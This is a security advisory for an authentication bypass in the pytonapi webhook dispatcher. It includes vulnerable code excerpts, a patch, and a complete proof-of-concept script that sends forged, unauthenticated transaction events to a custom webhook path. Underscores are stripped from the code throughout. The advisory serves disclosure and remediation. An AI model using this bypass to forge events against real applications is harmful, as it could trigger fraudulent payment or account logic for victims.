PT-2026-65639 · Pypi · Pytonapi

Publicado

2026-07-28

·

Atualizado

2026-07-28

CVSS v3.1

7.5

Alta

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Webhook Custom Path Authentication Bypass in pytonapi

Summary

TonapiWebhookDispatcher in pytonapi 2.2.0 fails to validate the Authorization header when a webhook handler is registered with the documented path= argument. During setup(), bearer tokens are stored only under the default suffix paths (e.g., /hook/account-tx), but the custom path (e.g., /hook/custom) is never added to the token map. When an incoming request arrives at the custom path, self. tokens.get(path) returns None, causing the if expected token is not None guard to evaluate to False and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact.

Details

The vulnerability is a fail-open authentication check in pytonapi/webhook/dispatcher.py.
Token registration (setup) stores tokens only under default suffix paths:
python
# dispatcher.py lines 109-112
suffix = self.DEFAULT SUFFIXES[event type]
local path = self. path + suffix     # e.g., "/hook/account-tx"
webhook = await self. client.ensure(f"{self. url}{suffix}")
self. tokens[local path] = webhook.token # custom path is NEVER stored here
Handler registration preserves the custom path in the handler tuple:
python
# dispatcher.py lines 339, 342
resolved path = path or self. resolve path(event type) # -> "/hook/custom"
self. handlers[event type].append((account filter, fn, resolved path))
Path routing ( build path map) correctly maps the custom path to the event type:
python
# dispatcher.py line 182
return {handlers[0][2]: et for et, handlers in self. handlers.items() if handlers}
# -> {"/hook/custom": WebhookEventType.ACCOUNT TX}
Authentication check (fail-open):
python
# dispatcher.py lines 286-288
expected token = self. tokens.get(path)    # "/hook/custom" -> None
if expected token is not None and authorization != f"Bearer {expected token}":
  raise TONAPIError("Invalid webhook token") # SKIPPED because expected token is None
Because expected token is None for any custom path, the condition expected token is not None is always False. The raise is never reached regardless of what the Authorization header contains — or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker's payload is parsed and the victim handler is invoked.
The path= argument is an officially documented feature (see docs/webhooks/guide.mdx lines 140 and 153), meaning any user following the public documentation is vulnerable.

PoC

Requirements: Python 3.12, pytonapi 2.2.0 installed from source (commit e46c4a4).
Build and run with Docker:
bash
# From the repository root
docker build -t vuln001-pytonapi -f vuln-001/Dockerfile .
docker run --rm vuln001-pytonapi
The Dockerfile installs pytonapi from the local source tree and executes poc.py.
What the PoC does:
  1. Creates a TonapiWebhookDispatcher with a custom-path handler (path="/hook/custom").
  2. Calls setup() — tokens are registered only for /hook/account-tx.
  3. Case A — calls process("/hook/custom", forged payload, authorization=None): no Authorization header, handler fires.
  4. Case B — calls process("/hook/custom", forged payload, authorization="Bearer totally-wrong-token"): wrong token, handler still fires.
  5. Case C (control) — same attack against the default path /hook/account-tx with no auth: correctly raises TONAPIError.
  6. Case D (control) — default path with valid token: correctly accepted.
Simulated malicious HTTP request routed to the victim dispatcher:
POST /hook/custom HTTP/1.1
Host: victim.example
Content-Type: application/json
# No Authorization header

{"event type":"account tx","account id":"0:victim","lt":1,"tx hash":"FORGED TX HASH"}
Expected output confirming the vulnerability:
[dispatcher a] tokens map: {'/hook/account-tx': 'real-secret-token-abc123'}

Case A: VULNERABLE — handler invoked with NO Authorization header; custom called=['FORGED TX HASH']
Case B: VULNERABLE — handler invoked with WRONG Authorization header; custom called=['FORGED TX HASH']
Case C: CORRECTLY REJECTED — Invalid webhook token
Case D: CORRECTLY ACCEPTED — default path with valid auth

[RESULT] VULNERABILITY CONFIRMED
Remediation (patch):
diff
--- a/pytonapi/webhook/dispatcher.py
+++ b/pytonapi/webhook/dispatcher.py
@@
   def build path map(self) -> dict[str, WebhookEventType]:
-    return {handlers[0][2]: et for et, handlers in self. handlers.items() if handlers}
+    return {path: et for et, handlers in self. handlers.items() for , , path in handlers}
@@
-      suffix = self.DEFAULT SUFFIXES[event type]
-      local path = self. path + suffix
-      webhook = await self. client.ensure(f"{self. url}{suffix}")
-      self. tokens[local path] = webhook.token
+      local paths = sorted({path for , , path in handlers})
+      for local path in local paths:
+        endpoint = self. endpoint for path(local path)
+        webhook = await self. client.ensure(endpoint)
+        self. tokens[local path] = webhook.token
@@
+  def endpoint for path(self, path: str) -> str:
+    parsed = urlparse(self. url)
+    return parsed. replace(path=path, params="", query="", fragment="").geturl()

Impact

This is an Improper Authentication vulnerability (CWE-287). Any application that:
  1. Uses TonapiWebhookDispatcher from pytonapi 2.2.0, and
  2. Registers at least one handler using the documented path= keyword argument,
is fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:
  • Forge arbitrary TON blockchain events (e.g., fake account tx notifications).
  • Trigger victim-defined business logic — payment processing, account state updates, notification dispatch — with attacker-controlled data.
  • Cause financial or operational harm depending on what the victim handler does.
Confidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.

Reproduction artifacts

Dockerfile

dockerfile
FROM python:3.12-slim

WORKDIR /app

# Copy the repository source code
COPY repo/ /app/repo/

# Install pytonapi from local source (exact commit under test)
RUN pip install --no-cache-dir /app/repo/

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

# Run the PoC by default
CMD ["python3", "/app/poc.py"]

poc.py

python
"""
PoC for VULN-001: Webhook custom path authentication bypass
===========================================================
CVE candidate: CWE-287 — Improper Authentication
Affected:   pytonapi 2.2.0 (commit e46c4a4)
File:     pytonapi/webhook/dispatcher.py

Root cause
----------
When a handler is registered with the documented `path=` argument:

  @dispatcher.account tx(path="/hook/custom")
  async def on tx(event): ...

setup() stores the bearer token ONLY for the default-suffix path:

  local path = self. path + suffix    # -> "/hook/account-tx"
  self. tokens[local path] = webhook.token  # line 112

The custom path "/hook/custom" is never added to tokens.

 build path map() correctly routes "/hook/custom" -> ACCOUNT TX
because it reads handlers[0][2] which IS the custom path when the
custom-path handler is the only one registered.

In process():

  expected token = self. tokens.get(path)  # line 286 -> None (missing)
  if expected token is not None and ...:  # line 287 -> False (SKIP)
    raise TONAPIError("Invalid webhook token")

Because expected token is None the auth check is bypassed entirely
(fail-open). An attacker can POST any forged payload to the custom
path without any Authorization header and trigger the victim handler.

Test matrix
-----------
Case A: custom path + no auth     -> SHOULD raise (BUG: passes)
Case B: custom path + wrong auth token -> SHOULD raise (BUG: passes)
Case C: default path + no auth     -> SHOULD raise (control: correctly raises)
Case D: default path + valid auth   -> SHOULD pass  (control: correctly passes)
"""

import asyncio
import sys

from pytonapi.exceptions import TONAPIError
from pytonapi.webhook.dispatcher import TonapiWebhookDispatcher


# ---------------------------------------------------------------------------
# Minimal stubs — no real network I/O needed
# ---------------------------------------------------------------------------

class FakeWebhookEndpoint:
  """Simulates the TONAPI webhook object returned by client.ensure()."""

  def  init (self, token: str) -> None:
    self.token = token

  async def sync accounts(self, accounts: list) -> None:
    pass


class FakeWebhookClient:
  """Simulates TonapiWebhookClient: records which endpoints were registered."""

  def  init (self) -> None:
    self.registered endpoints: list[str] = []

  async def create session(self) -> None:
    pass

  async def ensure(self, endpoint: str) -> FakeWebhookEndpoint:
    self.registered endpoints.append(endpoint)
    return FakeWebhookEndpoint(token="real-secret-token-abc123")

  async def close session(self) -> None:
    pass


# ---------------------------------------------------------------------------
# PoC
# ---------------------------------------------------------------------------

async def run poc() -> bool:
  """Execute all test cases and return True if the vulnerability is confirmed."""

  # -----------------------------------------------------------------
  # Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)
  # -----------------------------------------------------------------
  client a = FakeWebhookClient()
  dispatcher a = TonapiWebhookDispatcher(
    "https://victim.example/hook",
    client=client a,
    accounts=["0:victim"],
  )
  custom called: list[str] = []

  # Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)
  @dispatcher a.account tx("0:victim", path="/hook/custom")
  async def on custom tx(event) -> None:
    custom called.append(event.tx hash)

  await dispatcher a.setup()

  # -----------------------------------------------------------------
  # Dispatcher B: only a DEFAULT path handler (control group)
  # -----------------------------------------------------------------
  client b = FakeWebhookClient()
  dispatcher b = TonapiWebhookDispatcher(
    "https://victim.example/hook",
    client=client b,
    accounts=["0:victim"],
  )
  default called: list[str] = []

  @dispatcher b.account tx("0:victim")
  async def on default tx(event) -> None:
    default called.append(event.tx hash)

  await dispatcher b.setup()

  print("=" * 60)
  print("VULN-001: Webhook custom path authentication bypass PoC")
  print("=" * 60)
  print(f"[dispatcher a] registered paths : {dispatcher a.paths}")
  print(f"[dispatcher a] endpoints called : {client a.registered endpoints}")
  print(f"[dispatcher a] tokens map    : {dispatcher a. tokens}")
  print()
  print(f"[dispatcher b] registered paths : {dispatcher b.paths}")
  print(f"[dispatcher b] endpoints called : {client b.registered endpoints}")
  print(f"[dispatcher b] tokens map    : {dispatcher b. tokens}")
  print()

  forged payload = {
    "event type": "account tx",
    "account id": "0:victim",
    "lt": 1,
    "tx hash": "FORGED TX HASH",
  }

  results: dict[str, str] = {}

  # ------------------------------------------------------------------
  # Case A: custom path, NO auth -> BUG: should raise, actually passes
  # ------------------------------------------------------------------
  custom called.clear()
  try:
    await dispatcher a.process(
      "/hook/custom",
      forged payload,
      authorization=None,
    )
    if "FORGED TX HASH" in custom called:
      results["A"] = (
        "VULNERABLE — handler invoked with NO Authorization header; "
        "custom called=" + repr(custom called)
      )
    else:
      results["A"] = "UNCERTAIN — process() did not raise but handler was not called"
  except TONAPIError as exc:
    results["A"] = f"NOT VULNERABLE (raised) — {exc}"

  # ------------------------------------------------------------------
  # Case B: custom path, WRONG auth -> BUG: should raise, actually passes
  # ------------------------------------------------------------------
  custom called.clear()
  try:
    await dispatcher a.process(
      "/hook/custom",
      forged payload,
      authorization="Bearer totally-wrong-token",
    )
    if "FORGED TX HASH" in custom called:
      results["B"] = (
        "VULNERABLE — handler invoked with WRONG Authorization header; "
        "custom called=" + repr(custom called)
      )
    else:
      results["B"] = "UNCERTAIN — process() did not raise but handler was not called"
  except TONAPIError as exc:
    results["B"] = f"NOT VULNERABLE (raised) — {exc}"

  # ------------------------------------------------------------------
  # Case C: default path, NO auth -> must raise (control: works correctly)
  # ------------------------------------------------------------------
  default called.clear()
  try:
    await dispatcher b.process(
      "/hook/account-tx",
      forged payload,
      authorization=None,
    )
    results["C"] = "UNEXPECTED PASS — default path accepted no-auth (unexpected)"
  except TONAPIError as exc:
    results["C"] = f"CORRECTLY REJECTED — {exc}"

  # ------------------------------------------------------------------
  # Case D: default path, VALID auth -> baseline, must succeed (control)
  # ------------------------------------------------------------------
  default called.clear()
  try:
    await dispatcher b.process(
      "/hook/account-tx",
      forged payload,
      authorization="Bearer real-secret-token-abc123",
    )
    if "FORGED TX HASH" in default called:
      results["D"] = "CORRECTLY ACCEPTED — default path with valid auth"
    else:
      results["D"] = "UNCERTAIN — process() did not raise but handler was not called"
  except TONAPIError as exc:
    results["D"] = f"UNEXPECTED REJECTION — {exc}"

  # ------------------------------------------------------------------
  # Summary
  # ------------------------------------------------------------------
  print("Test results:")
  for case, result in results.items():
    print(f" Case {case}: {result}")
  print()

  vuln confirmed = (
    "VULNERABLE" in results.get("A", "")
    and "VULNERABLE" in results.get("B", "")
    and "CORRECTLY REJECTED" in results.get("C", "")
    and "CORRECTLY ACCEPTED" in results.get("D", "")
  )

  if vuln confirmed:
    print("[RESULT] VULNERABILITY CONFIRMED")
    print(" dispatcher a. tokens has NO entry for /hook/custom (only for /hook/account-tx)")
    print(" => expected token=None => auth check skipped => forged handler called")
    print(" Attacker can POST any payload to /hook/custom without credentials.")
  else:
    print("[RESULT] VULNERABILITY NOT CONFIRMED")
    print(" Check individual case results above for details.")

  return vuln confirmed


if  name  == " main ":
  confirmed = asyncio.run(run poc())
  sys.exit(0 if confirmed else 1)

Correção

Improper Authentication

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-3FCR-JVGP-7F58

Produtos afetados

Pytonapi